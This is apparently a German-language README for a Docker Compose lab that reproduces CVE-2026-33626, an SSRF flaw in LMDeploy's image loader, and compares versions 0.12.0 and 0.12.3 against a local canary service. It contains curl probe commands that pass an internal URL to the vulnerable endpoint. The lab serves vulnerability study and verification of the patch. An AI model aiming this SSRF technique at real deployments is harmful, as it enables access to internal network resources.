
Docker Compose Lab, das die SSRF CVE-2026-33626 im Vision-Language-Bildlader von LMDeploy reproduziert. Vergleicht das anfällige (0.12.0) und gepatchte (0.12.3) Verhalten mit einem PoC-Skript und einem internen Canary-Dienst.
Dieses Repository reproduziert CVE-2026-33626, eine Server-Side Request Forgery (SSRF)-Schwachstelle im Vision-Language-Bildladepfad von LMDeploy.
Das anfällige Verhalten tritt auf, wenn LMDeploy eine Bild-URL erhält und der serverseitige Bildlader diese URL abruft, ohne interne, private, Loopback- oder Link-Local-Adressen ordnungsgemäß zu blockieren.
Dieses Labor vergleicht:
| Dienst | Version | Zweck |
|---|
vuln | LMDeploy 0.12.0 | Zeigt das anfällige Verhalten |
patched | LMDeploy 0.12.3 | Zeigt das behobene Verhalten |
internal | Lokaler Kanariendienst | Simuliert eine nur interne Ressource im Docker-Netzwerk |
Das Labor ist für den lokalen Betrieb mit Docker Compose ausgelegt und kontaktiert keine Cloud-Metadaten-Endpunkte oder externen Ziele.
LMDeploy unterstützt Vision-Language-Workflows, bei denen ein Bild von einer vom Benutzer bereitgestellten URL geladen werden kann. In anfälligen Versionen kann der Bildladepfad URLs abrufen, die auf interne/private Netzwerkadressen aufgelöst werden.
Dies kann einem Angreifer mit Zugriff auf den LMDeploy-Endpunkt ermöglichen, den Server zu veranlassen, interne Ressourcen anzufordern, wie z. B.:
In diesem Labor ist das interne Ziel absichtlich harmlos:
http://internal:9000/private.png
Die URL existiert nur im Docker-Compose-Netzwerk.
PoC script
|
| sends image URL
v
vuln / patched service
|
| calls lmdeploy.vl.load_image(url)
v
internal canary service
Das Labor führt keinen vollständigen VLM-Inferenz-Server aus. Stattdessen isoliert es die anfällige LMDeploy-Bildladeprimitive, indem es Folgendes aufruft:
from lmdeploy.vl import load_image
load_image(url)
Dies hält die Reproduktion leichtgewichtig und deterministisch, während es dennoch das Sicherheitsverhalten demonstriert, das gepatcht wurde.
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
| Dienst | Host-URL | Container-Port | Beschreibung |
|---|---|---|---|
vuln | http://127.0.0.1:8081 | 8000 | LMDeploy 0.12.0 Wrapper |
patched | http://127.0.0.1:8082 | 8000 | LMDeploy 0.12.3 Wrapper |
internal | http://127.0.0.1:8090 | 9000 | Interner Kanariendienst |
Im Docker-Netzwerk ist der interne Kanariendienst erreichbar unter:
http://internal:9000/private.png
Auf Apple Silicon laufen die Dienste vuln und patched als linux/amd64, da das in diesem Labor verwendete LMDeploy-Wheel x86_64-orientiert ist.
Dienste erstellen und starten:
docker compose up -d --build
Container-Status überprüfen:
docker compose ps
Erwarteter Status:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
Erwartete Ausgabe:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
Virtuelle Umgebung erstellen und Abhängigkeiten installieren:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
PoC ausführen:
python poc/poc.py
Das standardmäßige SSRF-Ziel ist:
http://internal:9000/private.png
Dieses Ziel ist von den Docker-Containern aus erreichbar, nicht vom öffentlichen Internet.
Der anfällige Dienst sollte das interne Kanarienbild erfolgreich abrufen:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
Dies bestätigt, dass LMDeploy 0.12.0 eine serverseitige Anforderung an den internen Docker-Dienst gestellt hat.
Der gepatchte Dienst sollte dieselbe URL blockieren, bevor der interne Dienst erreicht wird:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
Dies bestätigt, dass LMDeploy 0.12.3 URLs blockiert, die auf nicht-globale/interne IP-Adressen aufgelöst werden.
Abschließende erwartete Zusammenfassung:
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
Internen Kanariendienst zurücksetzen:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
Anfälligen Dienst testen:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Erwartet: /hits enthält eine Anforderung.
Gepatchten Dienst testen:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Erwartet: /hits bleibt leer.
Das PoC fordert den internen Dienst nicht direkt als Angreifer an.
Stattdessen sendet das PoC eine interne URL an LMDeploy. Wenn LMDeploy diese URL aus dem Container-Netzwerk abruft, zeichnet der interne Kanariendienst die Anforderung auf.
Dieses Verhalten beweist die SSRF-Primitive:
attacker-controlled URL
↓
LMDeploy server-side image loader
↓
request to internal network resource
Die gepatchte Version verhindert dies, indem sie URLs ablehnt, die auf nicht-globale IP-Adressen aufgelöst werden.
docker compose down -v
GitHub Security Advisory: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
Patch Commit: 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
Pull Request: #4447 https://github.com/InternLM/lmdeploy/pull/4447
Sysdig Analysis https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours